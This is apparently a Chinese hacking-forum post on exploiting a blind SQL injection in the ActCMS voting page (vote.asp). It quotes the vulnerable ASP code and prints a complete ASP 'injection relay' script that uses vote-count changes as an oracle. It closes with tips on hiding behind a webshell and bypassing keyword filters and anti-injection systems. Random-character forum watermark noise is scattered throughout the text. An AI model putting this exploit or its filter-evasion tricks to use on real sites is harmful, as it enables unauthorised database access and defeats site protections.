注入中转的高级应用，actcms漏洞以及其他

admin

: ]/ B0 ^" H# k8 l6 B+ Z, k看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
7 C+ |3 W! F- Z4 Q关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
3 P$ Q/ h! D- d- Z; f) V. L; o/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
: ~# F4 g" x% |5 V* u3 a. I
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

, a8 t: q$ R+ ~+ X, k; E4    end if   

5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8....   

# z3 |& U- O5 ^/ u9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
如图：
( r9 i1 a7 G6 h1 ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
- l; U( A4 ?; V) _* E
; X! G" G5 p* R, C: Z8 R本帖隐藏的内容需要回复才可以浏览
  u" b. S* Z. k( n5 J我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
0 I, N+ m) C5 Q6 ]) c- {; }0 ]' z# B
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

- }/ A5 }* |5 J7 N8 i02JmdcwName=request("jmdcw")
& R2 W" E9 T1 [6 L# j! B
: p. {& J+ E3 J- B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

! C" `0 B% E% q+ Z05JmStr=URLEncoding(JmStr)

! |- q1 s; J* f) I6 e0 k! p; D06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 q- o  l- j& F3 ]& H2 Y
9 e  I) p8 \+ B* \: J, `07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

( Z) K$ [$ O* w( m4 ~3 F- x0 U6 z09JMUrl=JMUrl & "?" & JmStr
. v1 A, N: P5 b* d. Q: {! n( h. Z
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 n6 F) k$ a) U
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

- X- ?8 S  J# t! B1 C12JmCok=replace(JmCok,chr(32),"%20")  
& L, V2 ^7 q2 S; ^9 ~, y# a
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 G, Y' _3 a- S8 B& @$ _
: E4 A8 ^+ r% A$ H! M14  
5 ?' i7 Z# m  f+ Y5 o
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! G% S! e) s* E/ x  ?
16  

. m% y9 y" p3 g9 L+ r7 c17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

% g. W0 S* y4 [3 b18response.write test1&""&test2&""

0 S5 x7 o! q4 s. h5 G19  

9 j& r( N- X3 Z( f" o20if test1=test2 then '如前后记录相等，表示失败
5 z- R4 y- \, }2 [6 `/ }
21  response.write "failed"

22else

6 k% e. H+ L$ T& e5 l: g23  response.write "succeed"
& X. V! t# D& e0 E. u0 G
2 c, v6 X3 \4 f24end if  
6 s/ f, J5 }5 V# W+ N+ ^" ~
' g- q$ J2 Y4 j25  

26response.write "by 3x"
9 H) x0 I; l! p& t  T1 x
27  
: i: e1 D: y4 {$ p. g
28  
# f. ?, D: N( r' w
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

2 U" h5 h* J/ G$ h' q4 Z& N30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http
! V" f6 G) c/ @3 l
33  
4 L* n# ], h  `1 I
4 K3 B3 w  H3 {$ q1 o34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 C  B5 L/ |7 F6 j1 z
36.SetRequestHeader "Referer",PostRef
. d7 J; |1 R. F* [! i
) \" V7 q& [5 p! P37.SetRequestHeader "Cookie",PostCok

4 ]& n" L: M8 o& H38.Send ()
/ \, q6 F) C! c2 o$ h9 o5 E
39PostData = .ResponseBody
( D9 K: U! Z2 r% F9 I
& T; t- d, ^- b7 H# m/ d3 |5 r40End With
8 N5 f+ J% t7 _$ |; H7 _- ^
41Set Http = Nothing
* t" C0 R% T/ W' b2 h6 ~
42PostData =bytes2BSTR(PostData)

43End Function

: z  B, a+ k/ g44  
+ G8 [( V1 G2 I  l! L
( d7 }' Q; t& \2 Y45  

2 U- @6 S# \0 n: s+ V46Function bytes2BSTR(vIn)
9 X9 P: |7 h' ^+ }& C9 _
9 G0 N" u9 R9 R5 r, S8 ^6 D, ]2 F47Dim strReturn
2 ^& u4 D4 Z3 D4 ]
48Dim I, ThisCharCode, NextCharCode

49strReturn = ""
0 O! j: S! _- H7 U8 e# X. v" o, b; L
50For I = 1 To LenB(vIn)
8 q5 \  x# }) _8 w. t+ a
4 U% X+ R$ F( T51ThisCharCode = AscB(MidB(vIn, I, 1))
; _3 ^  s9 |3 I% t
" J7 G: f6 L9 P; p7 i52If ThisCharCode < &H80 Then
' V. k$ C0 X% i% }0 R8 f! \$ i
53strReturn = strReturn & Chr(ThisCharCode)
2 s, [) M( B  T/ ]
54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
: Z5 r# S1 h) d# M( \5 t: m
57I = I + 1
2 T; r# ^/ M" L9 Z: P1 u; e
0 i+ S) T/ f" v. q% ~' \2 k2 R58End If

59Next

* D$ C& {& A% ^- r9 ]3 @- |1 ?0 f60bytes2BSTR = strReturn
+ {& i: ?$ E# G" c
& r9 ~3 D5 U0 ?" N& `5 v61End Function
1 J; V$ O' A$ T
: T4 ^( B2 @5 Z" y) {  L62  

) ~2 s# f* A- s- C, U63Function URLEncoding(vstrin)  

9 d8 t6 K2 O) i; D2 O1 d: k64strReturn=""

8 ^+ M: T, S% T+ p" f65Dim i

5 j. v4 j% G$ o' L. n2 n: t9 `66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

5 Q" @. l' f' }; s! O68if Abs(Asc(ThisChr))< &HFF Then
+ C& S- m' G) V) g, v
6 x- H* L: j' [9 G4 S* r1 [7 w69strReturn=strReturn & ThisChr

& G, n, P& f  l- a70Else

1 S; e9 G' P& e6 [7 y% i# t+ E71InnerCode=Asc(ThisChr)

4 e, r8 D. O: }6 i/ V; q# q72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

74End If
. _7 ]! ]" E5 \) c& O! ~
75Hight1=(InnerCode And &HFF00) \&HFF
1 K% r. ]# J- s1 _6 B
76Low1=InnerCode And &HFF
& R% c8 m$ C3 W  m( `6 H6 h) w
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

# _! u: S& o8 f, j79Next
% N" B' p, t7 H3 x- K( ^4 a! w
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
- N+ n* y& w0 I2 |2 l- A% P  n
8 {4 O$ h/ N% t. _6 F82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
* Q" O( R8 p; h
83URLEncoding=strReturn

$ Q: E( ]6 a; c- }84End Function

; G, C7 h. P; H- _85  

86function getSt(body)
" T2 M+ |4 Z# g( r4 R
+ l! |3 W2 K5 l# w8 u, G3 k1 t87  startpot=instr(body,"投票人数：")+len("投票人数：")

* K  d) u! g/ n, _1 \% N9 V+ k) H! ]88  endpot=instr(startpot,body," ")
. n) t6 ^! ]  @) {1 y
. I1 w6 P7 n! M& \5 h0 ^% T; D89  getSt=mid(body,startpot,endpot-startpot)
) o1 M# ^2 i$ |
90end function

9 D4 I1 h; ^& c0 v91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
- p" n. V' n1 |; n8 z4 Y- ~" n7 l投票成功：
) h3 u0 b% g; g1 J7 k# |http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
6 P' f) }! e5 ]( lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
' g: d7 B- r/ ]- ]- [; q-------------------------------------------------------------------------------
  }2 |- U; p' `! d0 {3 a  M6 ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
$ U  ~, o3 F  O. m很抱歉。。。只能用单线程工具去注入。。。。。
  M/ M9 c% ?- `7 ^0 S: D所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

  M- ^. ?9 Z1 _' f: r& s注入中转的一些其他应用
* X  ~  T5 U0 Z, b0 B9 I6 K3 r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
* P5 n7 i/ S: W; g; m9 `1 |3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
6 X& p' g- M$ T4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
7 @/ b9 D2 o: K3 I( r, ?6 b8 @/ i; _/ \
% b' ^! [& L  _3 t9 p% F( u4 |